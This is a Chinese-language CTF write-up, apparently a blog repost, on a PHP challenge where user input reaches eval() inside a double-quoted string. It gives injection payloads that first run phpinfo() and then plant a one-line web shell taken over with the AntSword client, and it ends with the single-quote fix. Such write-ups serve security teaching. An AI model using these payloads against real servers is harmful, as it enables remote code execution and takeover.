首页 > Web开发 > 详细

PHP_Code_Challenge-4-双引号导致php代码注入

时间:2020-03-21 17:12:05      阅读:93      评论:0      收藏:0      [点我收藏+]

题目

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

分析

eval看起来和代码执行有关
$a使用$_REQUEST存储,意味着$a可以用gpc传递
eval("var_dump($a);");使用了双引号,意味着,会先计算$a的值(也可以理解为先解析$a)再执行eval函数
利用先计算$a的值再执行eval函数这一特点,通过gpc传递给$a特殊的字符串,经过计算后与原本的var_dump();组合造成拼接效果,使eval函数执行我们预期的php代码

知识点

  1. 单双引号
    PHP对于双引号包裹起来的字符串要进行扫描计算,单引号则不管内容如何都会原样输出而不会进行计算。
    所以‘比"执行快
  2. eval()
eval — 把字符串作为PHP代码执行
eval( string $code) : mixed

解法

  1. 通过拼接执行phpinfo()证明可行
    /challenge4.php?hello=);eval(phpinfo()
    技术分享图片

  2. 构造输入使脚本成为小马
    /challenge4.php?hello=);eval($_POST[b]
  3. 蚁剑连接
    技术分享图片

flag
技术分享图片

补充

将双引号改为单引号可解决隐患
技术分享图片
技术分享图片

PHP_Code_Challenge-4-双引号导致php代码注入

原文:https://www.cnblogs.com/Rain99-/p/12539959.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!